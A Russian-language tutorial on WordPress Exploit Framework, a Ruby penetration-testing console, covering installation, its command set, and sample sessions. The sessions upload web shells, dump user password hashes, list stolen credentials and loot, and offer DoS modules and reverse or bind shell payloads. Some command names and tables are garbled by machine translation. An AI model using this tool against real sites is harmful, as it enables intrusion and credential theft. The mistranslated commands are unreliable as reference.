WordPress Exploit Framework. Ruby инструмент для тестирования проникновения Wordpress
WordPress Exploit Framework — это фреймворк с открытым исходным кодом, который предназначен для помощи в тестировании проникновения систем WordPress.
Требования:
- Ruby >= 2.4.4
Как установить Wordpress Exploit Framework?
Чтобы установить последнюю стабильную сборку, запустите gem install wpxf .
После установки вы можете запустить консоль WordPress Exploit Framework, запустив wpxf.
Мы не призываем вас к каким-либо действиям, статья написана исключительно в ознакомительных целях, чтобы уберечь читателя от противоправных действий.
Системы Debian:
Если у вас возникли проблемы с установкой зависимостей WPXF (в частности, Nokogiri), сначала убедитесь, что у вас есть все инструменты, необходимые для компиляции расширений C:
sudo apt-get install build-essential patch
Вполне возможно, что у вас нет важных заголовочных файлов разработки, установленных в вашей системе. Вот что вам следует сделать, если вы окажетесь в такой ситуации:
sudo apt-get install ruby-dev zlib1g-dev liblzma-dev
Если вы испытываете ошибки, которые указывают на то, что libcurl.dll не удалось загрузить, вам нужно будет убедиться, что последний двоичный файл libcurl включен в вашу папку Ruby bin или любую другую папку, которая находится в переменной PATH вашей среды.
Последнюю версию можно скачать с сайта curl.haxx.se/download.html. По состоянию на 16.05.2016 последняя версия помечена как Win32 2000/XP zip 7.40.0 libcurl SSL . После загрузки архива извлеките содержимое каталога bin в свой каталог Ruby bin (при появлении запроса не перезаписывайте существующие библиотеки DLL).
Как Использовать WordPress Exploit Framework
Запустите консоль WordPress Exploit Framework console, запустив wpxf .
После загрузки вам будет представлена подсказка wpxf, откуда вы можете искать модули с помощью команды search или загружать модуль с помощью команды use.
Загрузка модуля в вашу среду позволит вам установить параметры с помощью команды set и просмотреть информацию о модуле с помощью info .
Ниже приведен пример того, как можно загрузить модуль эксплойта symposium_shell_upload, установить параметры модуля и полезной нагрузки и запустить эксплойт против цели.
wpxf > use exploit/shell/symposium_shell_upload[+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20>wpxf [exploit/shell/symposium_shell_upload] > set host wp-sandbox[+] Set host => wp-sandboxwpxf [exploit/shell/symposium_shell_upload] > set target_uri /wordpress/[+] Set target_uri => /wordpress/wpxf [exploit/shell/symposium_shell_upload] > set payload exec[+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078>wpxf [exploit/shell/symposium_shell_upload] > set cmd echo "Hello, world!"[+] Set cmd => echo "Hello, world!"wpxf [exploit/shell/symposium_shell_upload] > run
Supported Commands:
- back
Изменяет контекст сеанса обратно на перед загрузкой текущего модуля.
wpxf [exploit/shell/admin_shell_upload] > back
wpxf >
- Проверять
Проверьте, можно ли использовать загруженный в данный момент модуль против указанной цели.
wpxf [exploit/shell/admin_shell_upload] > проверить [!] Цель кажется уязвимойwpxf [exploit/shell/admin_shell_upload] >
- Очистить
Очистите экран.
- creds
Перечислите учетные данные, хранящиеся в текущей рабочей области.
wpxf > creds ID Host Username Password Type
-- --------------- -------- -------- -----
13 wordpress.vm:80 root toor plain
14 wordpress.vm:80 test plainwpxf >
- creds-d [id]
Удалите учетные данные с соответствующим номером [id].
wpxf > creds -d 8 [+] Deleted credential 8wpxf >
- gset
Установите значение параметра глобально, чтобы текущий модуль и все модули, загруженные впоследствии, использовали указанное значение для указанного параметра.
wpxf > gset host wordpress.vm [+] Globally set the value of host to wordpress.vmwpxf > use exploit/shell/admin_shell_upload [+] Loaded module: #<Wpxf::Exploit::AdminShellUpload:0x3578af0>wpxf [exploit/shell/admin_shell_upload] > show options Module options: Name Current Setting Required Description
------------------- --------------- -------- -------------------------------------------
host wordpress.vm true Address of the target host.
http_client_timeout 5 true Max wait time in seconds for HTTP responses
password true The WordPress password to authenticate with
port 80 true Port the remote host is listening on
proxy false Proxy address ([protocol://]host:port)
ssl false true Use SSL/HTTPS for all requests
target_uri / true Base path to the WordPress application
username true The WordPress username to authenticate with
verbose false true Enable verbose output
vhost false HTTP server virtual hostwpxf [exploit/shell/admin_shell_upload] >
- Орудийная установка
Сбросьте глобальный набор параметров с помощью команды gset.
wpxf > gunset host [+] Removed the global setting for hostwpxf >
- Информация
Отображение информации о текущем загруженном модуле.
wpxf [exploit/shell/admin_shell_upload] > info Name: Admin Shell Upload
Module: exploit/shell/admin_shell_upload
Disclosed: 2015-02-21 Provided by:
rastating Module options: Name Current Setting Required Description
---------- --------------- -------- -------------------------------------------
host wordpress.vm true Address of the target host.
password toor true The WordPress password to authenticate with
port 80 true Port the remote host is listening on
proxy false Proxy address ([protocol://]host:port)
ssl false true Use SSL/HTTPS for all requests
target_uri / true Base path to the WordPress application
username root true The WordPress username to authenticate with
verbose false true Enable verbose output
vhost false HTTP server virtual host Description:
This module will generate a plugin, pack the payload into it and upload it to
a server running WordPress; providing valid admin credentials are used.
wpxf [exploit/shell/admin_shell_upload] >
- Добыча
Перечислите добычу, собранную с целей в текущей рабочей области.
wpxf > loot ID Host Filename Notes Type
-- --------------- ----------------------- ------------------------------------- ---------
1 wordpress.vm:80 2018-07-14_15-00-56.csv Registered users and e-mail addresses user list All filenames are relative to /home/rastating/.wpxf/lootwpxf >
- quit
Выйдите из командной строки WordPress Exploit Framework.
- rebuild_cache
Заново создайте кэш модуля.
wpxf > rebuild_cache [!] Обновление кэша модуля...wpxf >
- Бежать
Запустите текущий загруженный модуль.
wpxf [вспомогательный/hash_dump / simple_ads_manager_hash_dump] > выполнить [- ] Определение префикса базы данных...
[- ] Сброс пользовательских хэшей... Хэш имени пользователя
-------- -----------------------------------
root $P$BqL7kZ\ / A30CnAbIriSrXRmKvY9ynx80
ATgVrF $P$Bc5vrenvctuxywqkun0iowidib79g.
DOWzVC $P$BwtOdeIGMW. jR7\ / zfzMp.kc4FJcPwB.
OmQUqt $P$BOUcq9FWVxEyyrqyZNApW79kgPm7wq\/
eFhkJv $P$B1h9aF1cYdIBnAoh9F6NkchHXlTMpe. [ + ] Выполнение завершено успешноwpxf [вспомогательный/hash_dump / simple_ads_manager_hash_dump] >
- Набор
Установите значение параметра для текущего загруженного модуля.
wpxf [exploit/shell/admin_shell_upload] > set host wordpress.vm [+] Set host => wordpress.vmwpxf [exploit/shell/admin_shell_upload] >
- setg
Псевдоним для gset.
- Поиск
Поиск модулей, содержащих одно или несколько указанных ключевых слов.
wpxf > поиск rfi [+] 3 результата для "rfi" Название Модуля
-------------------------------------------------- ----------------------------------------
эксплойт / rfi/fast_image_adder_v1. 1_rfi_shell_upload быстрый сумматор изображенийwpxf >
- Показать дополнительно
Покажите расширенные параметры текущего загруженного модуля.
wpxf [exploit / shell/admin_shell_upload] > показать дополнительно Имя: basic_auth_creds
Текущая настройка:
Требуется: false
Описание: http основные учетные данные auth (имя пользователя: пароль) Имя: follow_http_redirection
Текущая настройка: true
Требуется: true
Описание: автоматически следовать перенаправлениям HTTP Имя: max_http_concurrency
Текущая настройка: 20
Требуется: true
Описание: максимальное количество HTTP-запросов, которые могут быть сделаны параллельно (Min: 1, Max: 200) Имя: proxy_auth_creds
Текущая настройка:
Требуется: false
Описание: учетные данные прокси-сервера (имя пользователя: пароль) Имя: user_agent
Текущая настройка: Mozilla/5.0 (Macintosh; U; U; Intel Mac OS X 10_7_6 rv:6.0; en-US) AppleWebKit / 533.49.6 (KHTML, как Gecko) версия/4.0.2 Safari/533.49.6
Требуется: ложь
Описание: строка агента пользователя для отправки со всеми запросами Имя: verify_host
Текущая настройка: true
Требуется: true
Описание: включите проверку хоста при использовании HTTPS Имя: wp_content_dir
Текущая настройка: wp-content
Требуется: true
Описание: имя каталога wp-content.
wpxf [exploit / shell/admin_shell_upload] >
- Показать вспомогательное оборудование
Показать список доступных вспомогательных модулей.
wpxf > показать вспомогательное оборудование [ + ] 58 вспомогательных устройств Название Модуля
-------------------------------------- -----------------------------------------------------------
вспомогательный/dos / load_scripts_dos WordPress "load-scripts.php" DoS
auxiliary/dos/long_password_dos Long Password DoS
auxiliary/dos/post_grid_file_deletion Post Grid
вспомогательный/dos / wp_v4.7.2_csrf_dos WordPress 4.2-4.7.2-CSRF DoS ... wpxf >
- Показать эксплойты
Показать список доступных эксплйтов
wpxf > показать эксплойты [+] 289 эксплойтов Название Модуля
-------------------------------------------------------- --------------------------------------------
exploit/rfi/advanced_custom_fields_remote_file_inclusion Advanced Custom Fields Remote File Inclusion
exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload Fast Image Adder
эксплойт / rfi/gwolle_guestbook_remote_file_inclusion Гостевая книга Gwolle удаленное включение файлов
эксплойт/rfi/wp_mobile_detector_rfi_shell_upload WP Mobile Detector RFI Shell Upload...wpxf >
- Показать параметры
Показать основные параметры текущего загруженного модуля.
wpxf [exploit/shell/admin_shell_upload] > Показать параметры Параметры модуля: Имя Текущая Настройка Требуемое Описание
------------------- --------------- -------- -------------------------------------------
под WordPress.ВМ правда-адрес целевого узла.
http_client_timeout 5 true максимальное время ожидания в секундах для HTTP ответов
пароль true пароль WordPress для аутентификации
порт 80 true Port удаленный хост прослушивает
прокси-сервер false Proxy address ([protocol://]host:port)
ssl false true используйте SSL/HTTPS для всех запросов
target_uri / true базовый путь к приложению WordPress
username true имя пользователя WordPress для аутентификации с
помощью verbose false true Enable verbose output
vhost ложный HTTP сервер виртуальный хостwpxf [exploit/shell/admin_shell_upload] >
- сброс
Сбросьте набор параметров с помощью команды set.
wpxf [exploit/shell/admin_shell_upload] > unset host [ + ] Unset хостwpxf [exploit / shell/admin_shell_upload] >
- unsetg
Псевдоним для gunset.
- использовать
Загрузите указанный модуль в текущий контекст.
wpxf > use exploit/shell/admin_shell_upload [ + ] Загруженный модуль: #<Wpxf:: Exploit:: AdminShellUpload:0x3af1100>wpxf [exploit / shell/admin_shell_upload] >
- рабочее место
Перечислите доступные рабочие области.
wpxf > рабочее пространство [-] по умолчанию (активен)
[- ] тестwpxf >
- рабочее место [имя]
Переключитесь на [имя] .
wpxf > тест рабочей области [ + ] Переключено в рабочее пространство: тестwpxf >
- рабочее пространство-а [имя]
Добавьте новое рабочее пространство.
wpxf > workspace-a wiki [+] Добавлено рабочее пространство: wikiwpxf >
- рабочее пространство-d [имя]
Удалить текст [имя] .
wpxf > workspace-d wiki [ + ] Удаленное рабочее пространство: wikiwpxf >
Разница между вспомогательными и эксплуатационными модулями
Вспомогательные модули не позволяют запускать полезные нагрузки на целевой машине, но вместо этого позволяют извлекать информацию из целевой машины, повышать привилегии или предоставлять функции отказа в обслуживании.
Модули эксплойтов требуют, чтобы вы указывали полезную нагрузку, которая впоследствии выполняется на целевой машине, позволяя запускать произвольный код для извлечения информации из машины, создания удаленной оболочки или чего-либо еще, что вы хотите сделать в контексте веб-сервера.
Доступные полезные нагрузки
- bind_php: загружает скрипт, который будет привязан к определенному порту и позволит WPXF установить удаленную оболочку.
- традиция: загружает и выполняет пользовательский PHP-скрипт.
- скачать_exec: загружает и запускает удаленный исполняемый файл.
- meterpreter_bind_tcp: полезная нагрузка Meterpreter bind TCP, генерируемая с помощью msfvenom.
- meterpreter_reverse_tcp: полезная нагрузка Meterpreter reverse TCP, генерируемая с помощью msfvenom.
- выполнение: запускает команду оболочки на удаленном сервере и возвращает выходные данные в сеанс WPXF.
- reverse_tcp: загружает скрипт, который установит обратную TCP-оболочку.
Хочешь научиться большему? Записывайся на индивидуальное обучение.
Не забудь подписаться на наш канал!